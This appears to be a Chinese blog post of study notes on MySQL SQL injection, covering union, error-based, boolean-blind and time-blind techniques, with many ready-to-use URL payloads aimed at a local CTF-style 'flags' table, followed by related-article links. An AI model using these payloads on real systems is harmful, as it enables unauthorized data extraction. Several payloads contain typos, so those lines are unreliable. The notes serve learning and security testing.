一般注入分类:

	时间,布尔,报错,堆,联合

有关函数介绍:

	current_user() 当前用户名
session_user() 链接数据库的用户名
@@basedir mysql安装路径
@@datadir 数据库存储的路径
@@version_compile_os操作系统版本

MYSQL中常用的表

	information_schema数据库,存储数据库元信息,具有表schemata(数据库名)tables(表名)columns(列名字段名)
SCHEMA_NAME字段用来存储数据库名,TABLE_SCHEMA字段用来存储表名,
table_schema和table_name分别来存储数据库名和表名
columns表中,table_schema(数据库名)

查询语句

	 select database();查看当前已选择库名
select table_name from information_schema.tables where table_schema=database();查看当前数据库中存在的表名
select column_name from information_schema.columns where table_schema=database() and table_name='login';查询某个表中的字段名称

注释符:

	#
--+ --为单行注释,但是在web中+和空格同义,所以用--+
/**/
/*!*/
%23 表示#

判断存在注入:

	(1).127.0.0.1/?id=1
在1后面加'单引号 在1后面加/斜杠 在1后加and 1=1 或者 1=2 在1后加and sleep(5)
(2).字符型和整型的最大区别是:字符型需要先闭合前面的引号,后面加注释
$sql = "select * from table where id = '1'"; 在正常查询语句中,先闭合前边1的' and 1=1 后边由于还有
单引号,所以需要注释掉用--+

联合查询注入:

	1.按照注入语法分为:联合查询注入union/报错查询注入error/布尔型注入Boolean/延时注入time/堆叠查询注入
2.联合查询注入是最简单一种注入方式,但要求页面有显示位,否则无法注入
先判断是字符还是整型,加'加--+注释说明是字符型
oredr by 对表里面的数据进行排序,order by 1按照第一列进行排序,依次类推。
?id=-1'union select 1,2,3 --+ 注意id=-1,隐藏正常结果才能爆出显示位,显示位是2,3可以插入正常语句

报错盲注:

	网站开启了mysqli_error函数
函数1:(floor函数:)
floor(rand(0)*2):利用分组时生成的虚拟表出现主键冲突,报出错误信息
基本格式:select count(*),concat(/*payload*/,floor(rand(0)*2))as x from user group by x;
说明:payload可以替换为任意的查询语句,database()还可以换成其他的数据库名/表名/列名
concat是mysql中连接多个字符的函数,起到连接作用。
select count(*),concat(database(),floor(rand(0)*2)as x from user group by x; 爆出当前库名
函数2:extractvalue
基本格式:?id=1 and extractvalue(1,(payload))
?id=1 and updatexml(1,(concat(0x7e,(select@@version),ox7e)),1)
函数3(updataxml函数:)
updataxml()函数
updataxml(xml_document,xpath_string,new_value);
参数 描述
xml_document string格式,为xml文档对象的名称,文中为Doc
xpath_string xpath格式的字符串
new_value string格式,替换查找到的符合条件的数据
select name from user where id=1 and updatexml(1,concat('~',(select database(),'~'),3)) #注入语句

基于布尔盲注:

	构造SQL判断语句,通过查看页面返回结果来推断哪些SQL判断条件是成立的,以此来获取数据库中的数据。
1.如果页面既没有显示位,也没有报错提示的话,可以使用布尔注入
2.通过插入一些语句查看结果来判断是否为布尔注入
3.布尔注入的几个常用函数:
length(select database())>5 #length() 里面可以方查询语句,判断查询结果的长度
exists() #exists里可以放查询语句,用来判断查询结果是否存在
ascii() #ascii里面可以放查询语句,把查询结果转换为ascii的值
substr(string,pos,length)#用来截取查询结果,string可以用查询语句代替,pos表示
截取位置,下标从1开始,length表示截取的长度
举例:
select * from user where id =1 and length(user())>10;如果user()用户长度>10,返回就正常,否则为空。
?id=1 and substr((select user()),1,1) = 'r' #判断用户第一个字符是否为r
?id=1 and substr((select user()),2,1) = 'o'#判断用户第二个字符是否为o
?id=1 and ascii("r")=114
?id=1 and ascii(substr((select user(),1,1))>114 #判断用户的第一个字符是否大于114
好玩又麻烦
查看注入点方法,每个人手法不同。个人查看注入点为'单引号,"双引号。
127.0.0.1/?id=1 #正常 127.0.0.1/?id=1' #不正常 127.0.0.1/?id=1'' #正常
构造闭合
127.0.0.1/?id=1' --+ #正常,可认为闭合成功了
127.0.0.1/?id=1' and 1=1 --+ #正常
127.0.0.1/?id=1' and 1=2 --+ #不正常
猜解数据库:
length()返回数据库的长度
127.0.0.1/?id=1' and length(database())>1 --+ #肯定大于1
127.0.0.1/?id=1' and length(database())>3 --+ #大于3
127.0.0.1/?id=1' and length(database())>4 --+ #不大于4
继而ascii()和substr()猜解数据库名 127.0.0.1/?id=1' and (select ascii(substr(database(),1,1)))=116 --+ #116=t

		不停尝试爆数据库表,盲注很枯燥.
127.0.0.1/?id=1' and (select ascii(substr((select table_name from information_schema.tables where table_schema='teat' limit 0,1),1,1)))=102 --+ 看表
127.0.0.1/?id=1' and (select ascii(substr((select clolumn_name from information_schema.columns where table_name = 'falgs' limit0,1),2,1)))=105 --+ 看表的列

基于时间布尔盲注:

		1.如果布尔注入不行时,可以用延时注入.
2.延时注入基本格式:
• #IF(Condition,A,B)函数
当Condition为TRUE时,返回A;当Condition为FALSE时,返回B。
eg:if(ascii(substr(“hello”, 1, 1))=104, sleep(5), 1)
3.举例
#(1)判断当前数据库长度
id=3' and if(length(database())>10,sleep(5),1) --+  #判断数据库长度
#(2)获取当前连接数据库第一个字母
if(ascii(substr((select database()), 1, 1))=114, sleep(5), 1) 
#(3)判断第一个数据库第一个字符。
if(ascii(substr((select distinct table_schema from information_schema.tables limit 0, 1), 1, 1))=105,sleep(5), 1) 
if(条件1,条件2,条件3)
如果条件1正确就执行条件2,条件1正确执行条件3
?id=1 and if(length(database())=4,sleep(1),1) --+ #得长度
?id=1 and if(((ascii(substr(database(),1,1)))=116),sleep(1),1) --+ #得到数据库名称为test
#得到第一个表名:flags
?id=1 and if((select ascii(sbustr((select table_name from information_schema.tables where table_schema = 'test' limit 0,1),1,1))=102),sleep(1),1) --+
?id=1 and if((select ascii(substr((select column_name from information_schema.columns where table_name = 'flags'limit 0,1),1,1))=105),sleep(1),1)--+
#获取到flags字段为id,flags
?id=1 and if ((select ascii(substr((select flag from flags limit 0,1),1,1))>1),sleep(1),1)--+,1)--+
#获取flag内容
?id=1 and if((ascii(substr((select flag from flags limit 0,1),1,1))) >100,sleep(1),1)

SQL注入-流程的更多相关文章

  1. 网络安全之sql注入

    1.何为Sql注入? 所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令.具体来说,它是利用现有应用程序,将(恶意的)SQ ...

  2. SQL注入科普

    技术交流,安全交友联系渔夫”小白“,微信号(xz116035) SQL注入介绍 SQL注入攻击是最为常见的Web应用安全漏洞之一,国外知名安全组织OWASP针对web应用安全漏洞进行了一个排名,SQL ...

  3. MySql(四)SQL注入

    MySql(四)SQL注入 一.SQL注入简介 1.1 SQL注入流程 1.2 SQL注入的产生过程 1.2.1 构造动态字符串 转义字符处理不当 类型处理不当 查询语句组装不当 错误处理不当 多个提 ...

  4. sql注入漏洞笔记随笔

    sql注入是从1998年出现的,是一个十分常见的漏洞,它是OWASP top10的第一名(注入) 在了解sql注入之前,我们需要先了解web框架 webapp:web网站,这种方式它采用的是B/S架构 ...

  5. sql注入理解

    一.SQL注入产生的原因和危害 1.原因 SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序.而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原 ...

  6. [WAF攻防]从WAF攻防角度重看sql注入

    从WAF攻防角度重看sql注入 攻防都是在对抗中逐步提升的,所以如果想攻,且攻得明白,就必须对防有深刻的了解 sql注入的大体流程 Fuzz测试找到注入点 对注入点进行过滤检测,及WAF绕过 构建pa ...

  7. SQL注入篇——sqli-labs各关卡方法介绍

    主要是记下来了每关通过可以采用的注入方式,可能部分关卡的通关方式写的不全面,欢迎指出,具体的获取数据库信息请手动操作一下. 环境初始界面如下: sql注入流程语句: order by 3--+ #判断 ...

  8. SQL注入篇——sqli-labs各关卡方法介绍|1-65

    主要是记下来了每关通过可以采用的注入方式,可能部分关卡的通关方式写的不全面,欢迎指出,具体的获取数据库信息请手动操作一下. 环境初始界面如下: sql注入流程语句: order by 3--+ #判断 ...

  9. MySQL数据库(六)-- SQL注入攻击、视图、事物、存储过程、流程控制

    一.SQL注入攻击 1.什么是SQL注入攻击 一些了解sql语法的用户,可以输入一些关键字 或合法sql,来导致原始的sql逻辑发生变化,从而跳过登录验证 或者 删除数据库 import pymysq ...

随机推荐

  1. tornado 作业 简单首页 登录页 个人中心

    s4 index.py 1 import tornado.ioloop 2 import tornado.web 3 import time 4 5 6 class IndexHandler(torn ...

  2. 如何理解group by语句

    参考文章: https://blog.csdn.net/hao1066821456/article/details/69556644 如何实现一对多关系,得到一行多列的显示方式: group by可以 ...

  3. centos下配置Apache的https强制跳转

    vim /etc/httpd/conf/httpd.conf 新增如下三行 RewriteEngine on RewriteCond  %{HTTPS} !=on RewriteRule  ^(.*) ...

  4. Spring Boot 最简单的解决跨域问题

    跨域问题(CORS) CORS全称Cross-Origin Resource Sharing,意为跨域资源共享.当一个资源去访问另一个不同域名或者同域名不同端口的资源时,就会发出跨域请求.如果此时另一 ...

  5. python 安装相关

    一.安装python 1.官网下载python 1.1 可下载绿色版 2.2 也可下载安装版,安装时可自动安装pip 和 自动配置环境变量 2.手动配置环境变量,我的电脑>属性>高级> ...

  6. 百度实习生,以修仙者的角度聊聊怎么学MySQL,不来看看你的修为如何吗?

    目录 因为我个人比较喜欢看修仙类的小说,所以本文的主体部分借用修仙者的修为等级,将学习旅程划分成:练气.筑基.结丹.元婴.化神.飞升六个段位,你可以看下你大概在哪个段位上哦! 本文目录: 我为什么要写 ...

  7. Python 微信公众号文章爬取

    一.思路 我们通过网页版的微信公众平台的图文消息中的超链接获取到我们需要的接口 从接口中我们可以得到对应的微信公众号和对应的所有微信公众号文章. 二.接口分析 获取微信公众号的接口: https:// ...

  8. sql 中 foreach 中传入多个不同的参数问题

    <!--查找某用户绑定的药物不良反应报告列表--> <select id="selectSurveyListByUserProId" resultType=&qu ...

  9. 解决 Idea 下 Lombok 无法使用

    解决:    第一步,项目导入 Lombok 依赖 <dependency> <groupId>org.projectlombok</groupId> <ar ...

  10. Qt学习笔记-了解信号与槽-自定义信号-自定义槽

    信号与槽是连接不同控件直接的渠道. 这里以Horizontal Slider和Dial两个控件举例. 目的是在改变滑条的数值时,Dial也随之响应. 首先添加两个控件. 然后按快捷键F4进入控件编辑模 ...